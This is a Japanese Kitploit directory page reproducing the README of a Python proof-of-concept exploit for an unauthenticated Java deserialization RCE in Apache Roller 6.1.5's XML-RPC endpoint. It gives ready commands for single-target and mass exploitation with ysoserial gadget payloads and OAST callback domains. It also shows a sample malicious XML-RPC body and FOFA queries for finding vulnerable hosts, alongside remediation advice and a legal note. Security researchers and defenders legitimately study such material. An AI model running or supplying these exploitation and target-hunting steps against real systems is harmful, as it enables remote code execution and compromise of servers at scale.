Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-82384 — CVE-2026-82384 の Python PoC: ysoserial ペイロードを用いて Apache Roller 6.1.5 の未認証 XML-RPC Java デシリアライゼーションを検出・悪用し、一括スキャンに対応。 | Kitploit
ツール/GitHubGitHub/murrez/cve-2026-82384
偵察ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストリモートアクセスツール
GitHubmurrez/cve-2026-82384

CVE-2026-82384

CVE-2026-82384 の Python PoC: ysoserial ペイロードを用いて Apache Roller 6.1.5 の未認証 XML-RPC Java デシリアライゼーションを検出・悪用し、一括スキャンに対応。

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC デシリアライゼーション

CVE-2026-82384 の Python 3 PoC — Apache Roller 6.1.5 のレガシー XML-RPC サーブレットにおける未認証の Java デシリアライゼーション。

PoC ページ: https://pocbit.org/pocs/cve-2026-82384


Apache Roller とは?

Apache Roller は Java ベースのマルチユーザー ブログサーバー(歴史的には「Roller Weblogger」)です。通常は Tomcat WAR としてデプロイされ、/roller-ui/ 配下に UI、/roller-services/xmlrpc に XML-RPC 経由のレガシー Blogger / MetaWeblog API を持ちます。Roller 6.1.5(2025年9月)は無関係なセッション問題(CVE-2025-24859)を修正しましたが、本 CVE にとって危険な設定のまま XML-RPC スタックを残しました。


平易な言葉での脆弱性解説

CVE-2026-82384 は XML-RPC エンドポイントにおける信頼できないデータのデシリアライゼーション(CWE-502)です:

  1. Roller の XmlRpcServlet は enabledForExtensions=true で設定されているため、Apache ws-xmlrpc ライブラリはベンダー拡張型を受け入れます。これには ex:serializable — base64 エンコードされた Java シリアライズオブジェクト — が含まれます。
  2. このパースは HTTP リクエスト処理中に、Blogger/MetaWeblog の認証が評価される前に実行されます。
  3. サーブレットマッピングは web.xml に常に存在するため、管理者が Roller 設定で XML-RPC を無効化(webservices.enableXmlRpc=false)してもパーサーは依然として実行されます。UI で機能を無効化しても、6.1.5 ではこの事前認証パスは閉じられません。
  4. リモート攻撃者が細工した XML-RPC ボディを送信すると、サーバーは攻撃者のバイト列をデシリアライズし → JVM 内でリモートコード実行に至ります(ws-xmlrpc / Archiva における過去の CVE-2016-5003 と同種のバグ)。

影響範囲: Apache Roller 6.1.5 のみ(ベンダーアドバイザリによる)。
修正済み: Apache Roller 6.1.6+(PR #171):enabledForExtensions=false、および XML-RPC がグローバルに無効化されている場合のリクエスト拒否。

指標値
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
認証デシリアライゼーションプリミティブには不要
発見者n0mi1k
ベンダーApache Software Foundation

攻撃対象領域

項目詳細
エンドポイントPOST /roller-services/xmlrpc(/roller/roller-services/xmlrpc も試行)
Content-Typetext/xml
トリガーmethodCall 内の <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable>
ガジェットチェーンクラスパスに依存(Commons Collections など)。多くの場合 ysoserial で生成
影響Tomcat/Roller の OS ユーザーとしての RCE。通常、ブログデータの完全な制御とホストへのピボットが可能

この PoC の動作

モード動作
checkRoller のフィンガープリントを検出し、XML-RPC URL を特定。オプションで --probe-deser(ex:serializable プローブバイトを送信)
exploitあなたのシリアライズペイロード(ファイル、base64、または --ysoserial-jar 経由の ysoserial)を POST
Mass--list targets.txt --mode exploit -j N — JSONL + exploited.txt による並列一括処理

PoCbit フィールド: すべての JSONL 行に pocbit、pocbit_catalog、pocbit_page。
CLI: カラーバナー、[HIT] / [EXPLOIT] / [FAIL] 行(--no-color で無効化)。

このリポジトリは実際に動作する RCE ガジェットチェーンを同梱していません(クラスパス依存のため)。実際の悪用には、ysoserial の出力または検証済みのペイロードファイルを提供してください。


要件

pip install -r requirements.txt

RCE の場合(検出だけでなく):

  • 攻撃者マシン上の Java + ysoserial JAR
  • ガジェットの例:URLDNS(アウトオブバンドでの証明)、CommonsCollections6(典型的な Roller クラスパス上でのコマンド実行 — まずラボで検証すること)

使用方法

検出

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

エクスプロイト(単一ターゲット)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

大規模一括エクスプロイト

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

出力:

  • cve_2026_82384_exploit.jsonl — ターゲットごとの JSON
  • exploited.txt — ペイロードが受理された / OOB が送信されたターゲット

XML-RPC のサンプル形状(学習用)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

6.1.5 では、このボディをパースすると、メソッドハンドラが認証情報を強制する前にデシリアライズが行われる可能性があります。


修復

  1. 直ちに Roller 6.1.6+ へアップグレードしてください。
  2. パッチ適用までの間: リバースプロキシ / WAF で /roller-services/xmlrpc をブロックしてください(管理者 IP のみを許可リストに登録)。
  3. インベントリ: Apache Roller、/roller-ui/、ポート 8080/8443 のブログホストを検索してください。
  4. 同じリリースに関連する問題: CVE-2026-82377(XML-RPC 認可)、CVE-2026-82386(ブックマークインポートにおける XXE)— これらも 6.1.6 で修正されています。

FOFA / ハンティング(例)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

フッター、アバウトページ、または WEB-INF / リリースノートでバージョン 6.1.5 を確認してから、悪用可能と判断してください。


法的注意

認可されたテスト対象システムでのみ使用してください。デシリアライゼーションのエクスプロイトはデータを破壊する可能性があり、悪用した場合は法律違反となることがあります。

ツールをダウンロード